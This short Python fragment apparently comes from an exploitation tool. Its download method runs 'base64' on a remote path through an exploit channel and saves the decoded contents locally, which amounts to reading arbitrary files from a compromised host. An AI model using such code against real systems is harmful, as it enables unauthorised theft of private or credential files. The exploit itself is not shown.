def download(self, remote_path: str, writable: io.RawIOBase) -> int: encoded = self.exploit('base64 {}'.format(remote_path)) contents = base64.b64decode(encoded) try: return writable.write(contents) finally: writable.flush()
def write_string_to_stream(stream: io.RawIOBase, s: str) -> None: stream.write(s) stream.flush()